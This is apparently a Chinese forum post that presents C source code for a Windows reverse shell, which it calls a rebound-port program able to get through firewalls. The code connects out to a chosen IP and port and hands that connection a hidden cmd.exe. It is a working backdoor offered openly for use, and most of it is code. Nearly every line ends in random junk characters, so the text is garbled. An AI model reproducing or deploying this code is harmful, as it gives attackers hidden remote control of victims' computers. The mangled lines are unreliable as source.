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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vMY!Z1.*  
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/* ============================== JS03B Itt  
Rebound port in Windows NT XlXt,  
By wind,2006/7 Pc?"H!Hkn  
===============================*/ t!xdKX& }  
#include leF!Uog  
#include g3Q;]8Y&  
hKg +A  
#pragma comment(lib,"wsock32.lib") IPn!iv)  
W2%@}IDm  
void OutputShell(); J3'q.Pc  
SOCKET sClient; UFZOu%Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "1\GU1x  
-k:x e:$  
void main(int argc,char **argv) ,yp#!gE~  
{ @8w[Zo~  
WSADATA stWsaData; 'pUJREb  
int nRet; 8 mOGEx  
SOCKADDR_IN stSaiClient,stSaiServer; o/&K>]8M  
gKQs:25  
if(argc != 3) Txl|F\nK`  
{ ;Y8>?  
printf("Useage:\n\rRebound DestIP DestPort\n"); R@uA4Al  
return; r# oJch=  
} iD cYyNE  
amExZ/  
WSAStartup(MAKEWORD(2,2),&stWsaData); s;l"'6:_  
& E6V'*<93  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mcidA%  
<H#0pFB  
stSaiClient.sin_family = AF_INET; uF[*@N  
stSaiClient.sin_port = htons(0); Xe:rPxZf~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V$FZVG/@#  
V60"j(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [zq2h3r  
{ T#6g5Jnsp  
printf("Bind Socket Failed!\n"); '.N}oL<gP  
return; CY.92I@S  
} _Wk*h}x  
SXe1Q8;  
stSaiServer.sin_family = AF_INET; __+8wC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~K5A$ s2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QrFKjmD<  
Y^DGnx("m  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #=0 BjW*  
{ b LGC  
printf("Connect Error!"); ? [5>!  
return; $!$If( 7  
} o7Z 8O,;  
OutputShell(); SmvMjZ+7Y  
} \1#]qs -  
h 2JmRO  
void OutputShell() xCWS  
{ t_16icF9U  
char szBuff[1024]; PJ&L7   
SECURITY_ATTRIBUTES stSecurityAttributes; )FG/   
OSVERSIONINFO stOsversionInfo; b>i5r$S8G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *ZLisq-f  
STARTUPINFO stStartupInfo; T*8 S7l  
char *szShell; T~L V\}h  
PROCESS_INFORMATION stProcessInformation; gMZ+kP`  
unsigned long lBytesRead; _NwHT`O[  
LXJ;8uW2y  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9@IL547V  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2"shB(:z>  
stSecurityAttributes.lpSecurityDescriptor = 0; GL-b})yy  
stSecurityAttributes.bInheritHandle = TRUE; }CZw'fhVWO  
dIh+h|:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4^YE*6z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L<iRqayn  
0y/31hp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IC8%E3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sV5") /~  
stStartupInfo.wShowWindow = SW_HIDE; yZm=#.f  
stStartupInfo.hStdInput = hReadPipe; @^ti*`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f52P1V]  
f9},d1k  
GetVersionEx(&stOsversionInfo); OAiv3"p  
|& jrU-(  
switch(stOsversionInfo.dwPlatformId) <I2ENo5?  
{ 34"PtWbV>  
case 1: \X! NoF  
szShell = "command.com"; 7TI6EKr  
break; 7{w}0PMx  
default: %\|{_]h}y  
szShell = "cmd.exe"; %I!2dXNFRF  
break; [dz3k@ >0  
} #639N9a~  
=O8>[u;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }(XKy!G6  
kw#-\RR_c  
send(sClient,szMsg,77,0); d:^B2~j  
while(1) cPAR.h,b?  
{ gX-hYQrC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i'>5vU0?3  
if(lBytesRead) ]e7?l/N[  
{ T2.[iD!A  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 53a^9  
send(sClient,szBuff,lBytesRead,0); 1kUlQ*[<|  
} ;b1B*B  
else U~"Y8g#qgy  
{ 0WSZhzNyY  
lBytesRead=recv(sClient,szBuff,1024,0); %.$7-+:7A  
if(lBytesRead<=0) break; ;y1/b(t  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )i[Vq|n  
} rcMf1\  
} ~7*2Jp'  
3/ }  
return; U-m MKRV  
}
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